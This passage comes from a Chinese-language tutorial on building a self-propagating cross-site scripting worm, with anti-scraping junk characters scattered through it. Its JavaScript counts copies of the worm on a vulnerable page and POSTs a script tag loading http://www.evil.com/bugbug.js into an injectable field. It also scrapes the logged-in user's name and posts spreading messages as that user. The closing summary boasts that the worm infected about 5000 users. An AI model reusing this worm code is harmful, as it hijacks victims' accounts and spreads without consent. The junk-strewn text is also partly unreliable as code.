. }- m& d. U* X) D9 m. o0 \复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.3 s- E; K- u! y6 m" N+ e: I
# g3 {1 B$ l" `( q8 M7 B2 exmlHttpReq.send(null);7 V& D7 ~- k* [8 R8 l
4 Q* d0 J; P* [
var resource = xmlHttpReq.responseText;
0 K9 q; x. {8 O) T* G7 G* j7 x8 _ Q
var id=0;var result;
1 Z2 G5 D1 ^+ p1 L1 e" X# A/ h" V
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
* R, w1 R( P- R; A
; u% @% o' b0 d( ?while ((result = patt.exec(resource)) != null) {# v) x. @2 Q$ E( [& `( E
. V& S8 I I( [id++;
' N/ Z6 a+ W( ^7 Q) w+ c- i# k1 B! x; C- z0 d3 C, v
}
& x& H/ Q, `( E2 G$ ]复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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% h; F. [- X0 l, d+ |4 ino=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;- x. d% y0 P# {! w' U3 s+ E
4 `; F) `5 o$ g z* t6 R6 NxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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" n* \3 W! h s! J" U3 G" fxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");- ^. w" Q0 |7 H+ X% d
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xmlHttpReq.setRequestHeader("content-length",post.length); 3 D; \2 X. m( S# J1 ^
! \- N$ w! q8 K; q8 B$ \% WxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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7 }, l" h4 u, n: c7 c0 ZxmlHttpReq.send(post);
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6 \, |6 y8 b# B% o* L复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.( N$ q, m$ Q* q; j
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.$ a5 h$ @' v$ S4 K0 S+ I( O
5 e9 x: Y; D% f# B8 y- v' Lvar post="wd="+wd;6 x6 G: T+ m' s! w+ ]+ x% X: x1 r2 s
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);$ G. W' k. c p0 `+ }+ Q
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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8 ]) `/ ?% l& B: Q: y/ i/ cxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");+ J! ]9 w' w0 y
: I$ m5 `" E, u+ y4 h7 Q5 y3 pxmlHttpReq.send(post); //把传播的信息 POST出去.4 o$ j* |5 t$ s6 ^7 s
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------: C- X: i4 z- a3 t7 j4 j1 ?7 p
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
0 B0 U& e) _; v9 r+ ^ N6 E( i' |蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
+ p7 g* r9 O. F6 P操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.7 L2 Q% c. ]% w* N K$ X
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4 Q/ f3 |4 @1 c, D2 h8 d! A本文引用文档资料:$ d6 Y4 F8 ~! \7 a. ]
2 }9 h8 q8 L7 Q! j C"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
8 i5 G5 x+ p+ F/ B) g5 N3 ZOther XmlHttpRequest tricks (Amit Klein, January 2003)
' V; i$ }# l6 u"Cross Site Tracing" (Jeremiah Grossman, January 2003)8 {! `, Q2 n7 I
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
! r; M7 N8 U' J! c8 W空虚浪子心BLOG http://www.inbreak.net% Y. Q" Y; u) D4 h, C3 S: v" w
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